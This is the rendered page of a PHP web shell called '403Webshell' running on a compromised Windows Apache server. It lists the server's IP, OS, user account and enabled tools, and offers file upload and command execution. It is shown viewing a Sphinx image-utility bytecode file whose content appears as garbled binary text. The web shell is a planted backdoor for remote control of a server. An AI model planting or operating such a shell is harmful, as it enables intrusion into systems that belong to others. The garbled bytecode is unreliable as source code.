403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/cygwin64/lib/python3.9/site-packages/sphinx/util/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/cygwin64/lib/python3.9/site-packages/sphinx/util/__pycache__/images.cpython-39.opt-1.pyc
a

�ab��@s:dZddlZddlZddlmZddlmZddlmZm	Z	m
Z
mZmZddl
Z
zddlmZWneyvdZYn0egd��ZGdd	�d	e
�Zeeeeefd
�dd�Zdeeeeed
�dd�Zdeeeeed�dd�Zeeed�dd�Zeeed�dd�Zeee	eed�dd�Zej�e�dS)z�
    sphinx.util.images
    ~~~~~~~~~~~~~~~~~~

    Image utility functions for Sphinx.

    :copyright: Copyright 2007-2022 by the Sphinx team, see AUTHORS.
    :license: BSD, see LICENSE for details.
�N)�OrderedDict)�path)�IO�BinaryIO�
NamedTuple�Optional�Tuple)�Image))z.gifz	image/gif)z.jpgz
image/jpeg)z.pngz	image/png)z.pdfzapplication/pdf)z.svg�
image/svg+xml)z.svgzr
)z.aizapplication/illustratorc@s&eZdZUeed<eed<eed<dS)�DataURI�mimetype�charset�dataN)�__name__�
__module__�__qualname__�str�__annotations__�bytes�rr�6/usr/lib/python3.9/site-packages/sphinx/util/images.pyr#s
r)�filename�returncCs�z�t�|�}|ddkrd}n4t|dt�s:t|dt�rRt|d�t|d�f}|dur�tr�t�|��}|j}Wd�n1s�0Y|WSty�YdS0dS)Nr����)	�	imagesize�get�
isinstance�float�intr	�open�size�	Exception)rr!Zimrrr�get_image_size)s
$r#)�stream�defaultrcCst�|�}|rd|S|SdS)Nzimage/)�imghdrZwhat)r$r%Zimgtyperrr�guess_mimetype_for_stream:s
r'�)rr%rcCsft�|���\}}|tvr"t|St�|�rbt|d��}t||d�Wd�S1sX0Y|S)N�rb)r%)r�splitext�lower�
mime_suffixes�existsr r')rr%�_�ext�frrr�guess_mimetypeBs
*r1)rrcCs&t��D]\}}||kr|SqdS)N)r,�items)rr/Z	_mimetyperrr�get_image_extensionMs
r3)�urircCs~|�d�sdSd}d}|dd��dd�\}}|�d�D].}|dkrFq8|�d	�r^|d
d�}q8|r8|}q8t�|�}t|||�S)Nzdata:z
text/plainzUS-ASCII��,r�;�base64zcharset=�)�
startswith�splitr8Z	b64decoder)r4rr
Z
propertiesrZpropZ
image_datarrr�parse_data_uriUs


r<)�hr0rcCs2zd|����vrWdSWnty,Yn0dS)zEAn additional imghdr library helper; test the header is SVG's or not.z<svgzsvg+xmlN)�decoder+�UnicodeDecodeError)r=r0rrr�test_svgjs
r@)N)r(N)�__doc__r8r&�collectionsr�osr�typingrrrrrrZPILr	�ImportErrorr,rrrr#r'r1r3r<rr@Ztests�appendrrrr�<module>s&



Youez - 2016 - github.com/yon3zu
LinuXploit